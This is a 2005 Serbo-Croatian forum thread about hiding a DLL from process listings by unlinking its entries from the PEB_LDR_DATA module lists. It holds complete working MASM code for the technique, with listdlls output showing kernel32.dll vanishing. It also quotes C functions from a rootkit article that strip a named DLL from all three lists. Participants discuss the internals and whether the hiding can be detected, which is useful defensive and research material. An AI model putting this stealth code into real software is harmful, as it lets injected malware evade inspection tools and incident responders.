Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

skiravanje DLLa, igranje sa peb/peb_ldr_data

[es] :: Asembler :: skiravanje DLLa, igranje sa peb/peb_ldr_data

[ Pregleda: 3904 | Odgovora: 16 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

Vojislav Milunovic

Član broj: 25
Poruke: 2117
195.252.86.*



+1 Profil

icon skiravanje DLLa, igranje sa peb/peb_ldr_data14.01.2005. u 13:50 - pre 233 meseci
Posto sam skoro nabasao na kod koji ovo radi, a moj sam cuvao kao zmija noge, evo i kod koji to cini: (ps. pisano kompletno u MASM)->>>>
Code:

; Hiding DLL from process... It will not be listed when you use listdlls
; Hides dll by modifying PEB_LDR_DATA
;                                 c0mrade <[email protected]>
;                                 http://nonenone.net
.586
.model flat, stdcall
option casemap:none

hide PROTO :DWORD

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

.data
dll      db "kernel32.dll",0

.data?
handle   dd ?
ldr_data dd ?

.code
start:
  ASSUME FS:NOTHING
  invoke GetModuleHandle, ADDR dll
  mov handle, eax
  
  mov eax, FS:[30h]      ;<---- go to PEB
  mov eax,[eax+0ch]      ;<---- go to PEB_LDR_DATA
  mov ldr_data, eax
  
  ;Of first I will go trough list for InLoadOrderModuleList
  
  mov esi, dword ptr[eax+0ch]
  ;----> Now loop until we find matching handle 
  @loop_first:
    lodsd
    mov esi, eax
    mov ecx, [eax+24]
    cmp ecx, handle 
    jne @F
     invoke hide, eax 
     jmp @1
    @@:
    jmp @loop_first
   
   @1: 
     mov esi, ldr_data
     mov esi, dword ptr[esi+14h]
    @loop_second:
     lodsd
     mov esi, eax
     mov ecx, [eax+16]
     cmp ecx, handle
     jne @F
      invoke hide, eax
      jmp @2
     @@:
     jmp @loop_second
    
  @2:
   mov esi, ldr_data
   mov esi, dword ptr[esi+1ch]
   @loop_third:
     lodsd
     mov esi, eax
     mov ecx, [eax+8]
     cmp ecx, handle
     jne @F
      invoke hide, eax
      jmp @end
     @@:
     jmp @loop_third
  
   @end: 
   invoke Sleep, 100000
   invoke ExitProcess, NULL
     
hide PROC lPoint:DWORD
   mov edi, lPoint
   mov ebx, dword ptr[edi]        ;ebx forward struct
   mov ecx, dword ptr[edi+4]      ;ecx backward struct
   ;now simple erase LIST ->>
   mov [ecx], ebx
   mov [ebx+4], ecx
   ret
hide ENDP
    
end start
; with hide proc
;------------------------------------------------------------------------------
;hide.exe pid: 3708
;Command line: hide
;
;  Base        Size      Version         Path
;  0x00400000  0x4000                    C:\masm32\progz\hide_dll\hide.exe
;  0x77f50000  0xa7000   5.01.2600.1106  C:\WINDOWS\System32\ntdll.dll
;
;C:\masm32\progz\hide_dll>

;without hide porc
;------------------------------------------------------------------------------
;hide.exe pid: 3708
;Command line: hide
;
;  Base        Size      Version         Path
;  0x00400000  0x4000                    C:\masm32\progz\hide_dll\hide.exe
;  0x77f50000  0xa7000   5.01.2600.1106  C:\WINDOWS\System32\ntdll.dll
;  0x77e60000  0xe6000   5.01.2600.1106  C:\WINDOWS\System32\kernel32.dll
;
;C:\masm32\progz\hide_dll>


Pozdrav...
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
195.252.86.*



+1 Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data14.01.2005. u 14:27 - pre 233 meseci
Evo to sve isto samo ubaceno u dll...
Pozdrav...
Prikačeni fajlovi
 
Odgovor na temu

Mikky

Član broj: 18
Poruke: 1563
*.vdial.verat.net.

ICQ: 44582291


+58 Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data15.01.2005. u 00:15 - pre 233 meseci
Hm zanimljivo :)
Ja bas pravim jedan process viewer pa cu izgleda morati da handlujem i ovakve hakerske kerefeke :)

Ja sam probao na winXP SP1, da li si testirao na ostalim verzijama?
-I know UNIX, PASCAL, C, FORTRAN,
COBOL, and nineteen other high-tech
words.
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
195.252.86.*



+1 Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data15.01.2005. u 11:07 - pre 233 meseci
Ako se ne varam ovo bi podjednako trebalo da radi i na 2k, a za win9x ne znam =( tu nisam imao prilike da ovo probam, a i verujem da je TEB drukcije stuktuiran nego na XP, ali za to nemam dokaze =)
 
Odgovor na temu

Mikky

Član broj: 18
Poruke: 1563
*.verat.net.

ICQ: 44582291


+58 Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data15.01.2005. u 21:28 - pre 233 meseci
OK nisam mnogo upoznat sa tom strukturom,pa nisam mnogo gledao ovaj kod jer ne bi shvatio, znam samo da je TEB nedokumentovan. To opet znaci da ta struktura moze da bude razlicita od verzije do verzije Windowsa, pa i u service packovima. Moje pitanje je u stvari ako neki proces ovo uradi da li je moguce to otkriti iz nekog externog procesa? Npr preko ReadProcessMemory ja proctam TEB tvog procesa i onda trazim tragove ove akcije?

-I know UNIX, PASCAL, C, FORTRAN,
COBOL, and nineteen other high-tech
words.
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.beotel.net.



+1 Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data15.01.2005. u 22:13 - pre 233 meseci
Hmm ne =)
Zato što je stvar u sledećem, svi moduli su od strane loadera upisani u 3 liste kroz koje se šetaš napred nazad. Međutim ja u sve tri liste bukvalno obrišem tragove ovog dll-a.

To mu dođe nešto ovako:
Iza<---------->Moj_dll<---------->ispred
Međutim posle ovog programa sve 3 lite koje prate module izgledaju ovako:
Iza<----------------------------->ispred
Znači listanjem TEB/PEB/PEB_LDR_DATA ne možeš naći ovaj dll, posle učitavanja programa =) Možda ima neki drugi način, ali ja za sad nemam ideju. Ma i Mark Russinovich koristi ove liste da bi listao DLLove =))
 
Odgovor na temu

Mikky

Član broj: 18
Poruke: 1563
213.244.197.*

ICQ: 44582291


+58 Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data17.01.2005. u 01:23 - pre 233 meseci
Znaci i Russinovicha si zeznuo :)
Hm... aj razmislicu malo kako bi mogao da se pronadje taj DLL pa cu javiti ako dodjem do necega.
-I know UNIX, PASCAL, C, FORTRAN,
COBOL, and nineteen other high-tech
words.
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data17.01.2005. u 03:12 - pre 233 meseci
PEB/TEB su ring3 cacheirane strukture čiji se "originali" čuvaju u samom kernelu. Vrlo sam siguran da se injektirani DLL može pronaći detaljnijom inspekcijom procesa, nažalost nemam instaliran ni checked kernel ni debuggiging alate ni livekd ni ništa, a bogami ni vremena da se sa tim sad zezam (bliže se ispitni rokovi :)

 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data17.01.2005. u 04:53 - pre 233 meseci
C attached ;)

LdrpInsertMemoryTableEntry() je dio Ldr (NT Loader) DLL Snap mehanizma i dio je Executive-a, ali se poziva i iz ring3 (pogledati prije svega LdrpLoadDll() odnosno LdrLoadDll() koji ga poziva -> ova dva su implementirana unutar ntdll.dll jerbo su namijenjeni linkanju sa aplikacijama koje žele obaviti servise Loadera.

Toliko od mene o ovome, od sutra sve što se igram jest debela knjiga iz elektronike :(
Prikačeni fajlovi
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.beotel.net.



+1 Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data17.01.2005. u 10:31 - pre 233 meseci
Code:

typedef struct _LDR_MODULE {

  LIST_ENTRY              InLoadOrderModuleList;
  LIST_ENTRY              InMemoryOrderModuleList;
  LIST_ENTRY              InInitializationOrderModuleList;
  PVOID                   BaseAddress;
  PVOID                   EntryPoint;
  ULONG                   SizeOfImage;
  UNICODE_STRING          FullDllName;
  UNICODE_STRING          BaseDllName;
  ULONG                   Flags;
  SHORT                   LoadCount;
  SHORT                   TlsIndex;
  LIST_ENTRY              HashTableEntry;
  ULONG                   TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;


Dobijeno sa : LDR_MODULE.html

Takodje ni ovaj site nije los, samo je na kineskom ali ima dosta struktura
Mali tekstic kako korisiti livekd/windbg ili kd =)))))
Ovo isto nije lose, vidim da petlja sa listama pa nisam ni citao sve

E ovaj HashTable me ubija =) Ne mogu nigde da nadjem informacije o njemu, da vidim sta je zapravo to...
Naso sam neki makro kako se vrsi indexiranje u njemu ali dalje? Table =)
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data17.01.2005. u 13:23 - pre 233 meseci
Nisam znao da je APJ nastavio s radom!!! Kad sam zadnji put gledao, nisu objavili novi issue ima 4 godine :)

Članci su bzvz (bar u odnosu na prošla izdanja :) ali dobro da se nešto radi:

http://www.assembly-journal.com/index.php

Pazi ovo ;) Damnit, ne znam ni ruski niti ćirilicu :/

Također pogledaj malo i LdrUnloadDll(). Use the source, Luke ;)

[Ovu poruku je menjao Sundance dana 18.01.2005. u 00:04 GMT+1]
 
Odgovor na temu

Mikky

Član broj: 18
Poruke: 1563
213.244.197.*

ICQ: 44582291


+58 Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data17.01.2005. u 15:35 - pre 233 meseci
Za cirilicu cemo mi da ti pomognemo sa nekim crash course-om, al za ruski malo teze bar sto se mene tice :) Mada ima onaj altavista prevodilac moze da posluzi tu i tamo. Nisu mi jasni ti rusi sto pisu na ruskom te textove, a da su genijalni i da se neke stvari samo tamo mogu naci to stoji.
-I know UNIX, PASCAL, C, FORTRAN,
COBOL, and nineteen other high-tech
words.
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
195.252.86.*



+1 Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data17.01.2005. u 16:13 - pre 233 meseci
Sreća moja da znam malo ruskog pa nešto i ubodem šta je ovaj hteo reći sve u svemu nije loše. MAda meni jedna stvar nikako ne ide v(na ruskom u) glavu, a to je zašto API po kernel32 jure mov eax,FS:[18] pa tek onda na peb sa mov eax,[eax+30h] ...
Razumem da se na offset 18 nalazi pointer na Self * _NT_TIB koji pokazuje opet na pocetak, tako da ne kapiram zato to FS:[18] kad mu dodje isto kao i FS:[0]... to ne razumem...
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data17.01.2005. u 17:23 - pre 233 meseci
Taj self-pointer (FS:[18h]) sadrži adresu cijele te strukture u memoriji unutar konteksta trenutnog procesa. Tako da ne trebaš koristiti fs selektor.

Recimo ako napišeš fju:

Code:

static PTEB * UzmiTEB() {
  PTIB * pTeb;
  __asm { 
       mov eax, fs:[18h]
       mov pTeb, eax
  }
  return pTeb;
}


moći ćeš i iz C/C++ pristupati TEB ili votevr. Pogledaj recimo NtCurrentTeb(). Ona se interno u windozima koristi na tone.

[Ovu poruku je menjao Sundance dana 18.01.2005. u 00:03 GMT+1]
 
Odgovor na temu

BaCkSpAcE

Član broj: 10
Poruke: 518
*.vdial.verat.net.



Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data17.01.2005. u 22:55 - pre 233 meseci
Citat:
Sundance: Damnit, ne znam ni ruski niti ćirilicu :/


Imam cd bukvar (cirilica) kod sebe, ostao mi od ranije kad sam ga rezao nekom klincu, pa ako treba... ;)
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data25.01.2005. u 05:03 - pre 233 meseci
Znao sam da sam negdje već vidio nešto slično:

Code:

----------------------   EXAMPLE 16   -----------------------------
/*  Walks one of the three modules double linked lists referenced by the 
PEB  (error check stripped)
ModuleListType is an internal flag to determine on which list to operate :
LOAD_ORDER_TYPE <---> InLoadOrderModuleList
MEM_ORDER_TYPE  <---> InMemoryOrderModuleList
INIT_ORDER_TYPE <---> InInitializationOrderModuleList
*/
int WalkModuleList(char ModuleListType, char *szDllToStrip)
{
    int i;    /* internal counter */
    DWORD PebBaseAddr, dwOffset=0;
    
    /* Module list head and iterating pointer */
    PLIST_ENTRY pUserModuleListHead, pUserModuleListPtr;
    
    /* PEB->PEB_LDR_DATA*/
    PPEB_LDR_DATA pLdrData;
    /* Module(s) name in UNICODE/AINSI*/
    PUNICODE_STRING pImageName;
    char szImageName[BUFMAXLEN];
    
    /* First, get Process Environment Block */    
    PebBaseAddr = GetPEB(0);

    /* Compute PEB->PEB_LDR_DATA */
    pLdrData=(PPEB_LDR_DATA)(DWORD *)(*(DWORD *)(PebBaseAddr + 
                        PEB_LDR_DATA_OFFSET)); 

    /* Init linked list head and offset in LDR_MODULE  structure */
    if(ModuleListType == LOAD_ORDER_TYPE)
    {
        /* InLoadOrderModuleList */
        pUserModuleListHead = pUserModuleListPtr = 
        (PLIST_ENTRY)(&(pLdrData->ModuleListLoadOrder));
        dwOffset = 0x0;
    } else if(ModuleListType == MEM_ORDER_TYPE)
    {
        /* InMemoryOrderModuleList */
        pUserModuleListHead = pUserModuleListPtr = 
        (PLIST_ENTRY)(&(pLdrData->ModuleListMemoryOrder));
        dwOffset = 0x08;
    } else if(ModuleListType == INIT_ORDER_TYPE)
    {
        /* InInitializationOrderModuleList */
        pUserModuleListHead = pUserModuleListPtr = 
        (PLIST_ENTRY)(&(pLdrData->ModuleListInitOrder));
        dwOffset = 0x10;
    }

    /* Now walk the selected list */    
    do
    {
        /* Jump to next LDR_MODULE structure */
        pUserModuleListPtr = pUserModuleListPtr->Flink;
        pImageName = (PUNICODE_STRING)( 
                 ((DWORD)(pUserModuleListPtr)) +
                 (LDR_DATA_PATHFILENAME_OFFSET-dwOffset));

            /* Decode unicode string to lower case on the fly */
        for(i=0; i < (pImageName->Length)/2 && i<BUFMAXLEN;i++) 
                  szImageName[i] = LOWCASE(*( (pImageName->Buffer)+(i) ));
        /* Null terminated string */
        szImageName[i] = '\0';

        /* Check if it's target DLL */
        if( strstr((char*)szImageName, szDllToStrip) != 0 )
        {
            /* Hide this dll : throw this module away (out of 
               the double linked list)
                (pUserModuleListPtr->Blink)->Flink = 
                (pUserModuleListPtr->Flink);
                   (pUserModuleListPtr->Flink)->Blink = 
                (pUserModuleListPtr->Blink);
            /* Here we may also overwrite memory to prevent 
               recovering (paranoid only ;p) */
        }
    }    while(pUserModuleListPtr->Flink != pUserModuleListHead); 

    return FUNC_SUCCESS;
}
---------------------- END EXAMPLE 16 -----------------------------

To process the three linked lists, the rootkit calls the HideDll function 
below.
----------------------   EXAMPLE 17   -----------------------------
int HideDll(char *szDllName)
{
    return (    WalkModuleList(LOAD_ORDER_TYPE, szDllName)
            &&    WalkModuleList(MEM_ORDER_TYPE, szDllName)
            &&    WalkModuleList(INIT_ORDER_TYPE, szDllName)    );
}
---------------------- END EXAMPLE 17 -----------------------------


Nema šta...veliki umovi misle slično ;)
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
195.252.87.*



+1 Profil

icon Re: skiravanje DLLa, igranje sa peb/peb_ldr_data25.01.2005. u 12:46 - pre 233 meseci
E zbog ovoga ponekad mrzim C, zbog makroa, njih nikad nisam voleo u C i to kad vidim neki makro je bilo ko da mi lupiš šamar...
Inače ovo je NTilusion ako se ne varam kod, međutim ovaj kod sam napisao znatno pre nego što sam de dokopao NTilusiona, jer mi je ideja pala napamet još dok sam čačkao po TEB/PEB strukturi otprilike u isto vreme kad postovao ovde onaj sa BeingDebugged, ovaj kod nije loš, mislim globalno, ali ne znam nekako mi je mnogo zbudženo u C i nekako nepregledno =(

Poz =)
 
Odgovor na temu

[es] :: Asembler :: skiravanje DLLa, igranje sa peb/peb_ldr_data

[ Pregleda: 3904 | Odgovora: 16 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.